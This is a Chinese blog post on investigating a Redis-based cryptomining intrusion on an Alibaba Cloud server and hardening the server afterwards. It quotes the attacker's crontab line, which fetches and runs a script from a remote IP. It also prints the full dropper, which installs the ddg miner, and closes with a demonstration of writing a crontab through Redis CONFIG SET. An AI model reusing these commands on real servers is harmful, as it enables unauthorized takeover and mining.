阿里云服务器被入侵——redis挖矿

1、起因:

        发现运维平台上没有昨天计划任务相关的数据,登上服务器,才发现crontab被改了

[root@58 ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh

2、处理过程:

①、停掉计划任务:

[root@58 ~]# crontab -e
#*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh

②、lastb:查看暴力破解的记录,发现并没有异常

[root@58 ~]# lastb
dev      ssh:notty    172.16.1.xx      Tue Jun 13 22:49 - 22:49  (00:00)    
dev      ssh:notty    172.16.1.xx      Tue Jun 13 22:32 - 22:32  (00:00) 

③、查看有毒脚本:

[root@58 tmp]$curl -fsSL http://218.248.40.228:9999/i.sh?6
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.1009" ]; then
    curl -fsSL http://218.248.40.228:9999/1009/ddg.$(uname -m) -o /tmp/ddg.1009
fi
chmod +x /tmp/ddg.1009 && /tmp/ddg.1009

④、ps axu:查看异常进程

root     13715  0.0  0.1 700584 16116 ?        Sl   Jun18   0:50 /tmp/ddg.1009
root     13796  299 17.2 1756884 1387384 ?     SLsl Jun18 4236:14 /tmp/wnTKYg.noaes

⑤、文件处理:

#删除
[root@58 ~]# ll /var/spool/cron/crontabs
total 4
-rw-r--r-- 1 root root 62 Jun 19 09:35 root
[root@58 ~]# rm -rf /var/spool/cron/crontabs

#取消执行权限
[root@58 ~]# ll /tmp/ddg.1009
-rwxr-xr-x 1 root root 8890464 Jun 18 10:09 /tmp/ddg.1009
[root@58 ~]#
[root@58 ~]#
[root@58 ~]# chmod 444 /tmp/ddg.1009

[root@58 ~]# ll /tmp/wnTKYg.noaes
-rwxr-xr-x 1 root root 1365824 Jun 18 10:12 /tmp/wnTKYg.noaes
[root@58 ~]#
[root@58 ~]# chmod 444 /tmp/wnTKYg.noaes

#kill进程

[root@58 ~]# kill -9 13715
[root@58 ~]# kill -9 13796

⑥、#修改root登陆
#.ssh/authorized_keys,也要替换

3、入侵思考:

①、服务器的iptable是只开了ssh的web的端口,且ssh使用密钥登陆,且没有发现尝试登陆的异常;

②、查看web的日志,没有发现异常访问,应该是某个软件的问题?

③、最后确定是redis无验证挖矿(搜索了linux ddg.1009),阿里云的安全组是允许0.0.0.0的访问的

④、阿里云这个0.0.0.0,巨坑啊,应该是某个贱人从其他阿里云的机器登陆到redis的,即阿里云的安全组有0.0.0.0的,是可以访问其他不属于自己的机器】

4、安全调整:

①、服务器加上iptables的限制,只允许再用的ip访问

②、redis改成nologin的用户启动

③、redis CONFIG修改成其他的名称:【rename-command CONFIG "Wyl0LFt2UhR"】

④、修改redis端口

5、redis修改计划任务相关命令:

#set 1:这样可以控制第一条记录,就能保证你的内容始终保持在最前面
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
redis-cli flushall

=============================== 完 ==============================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章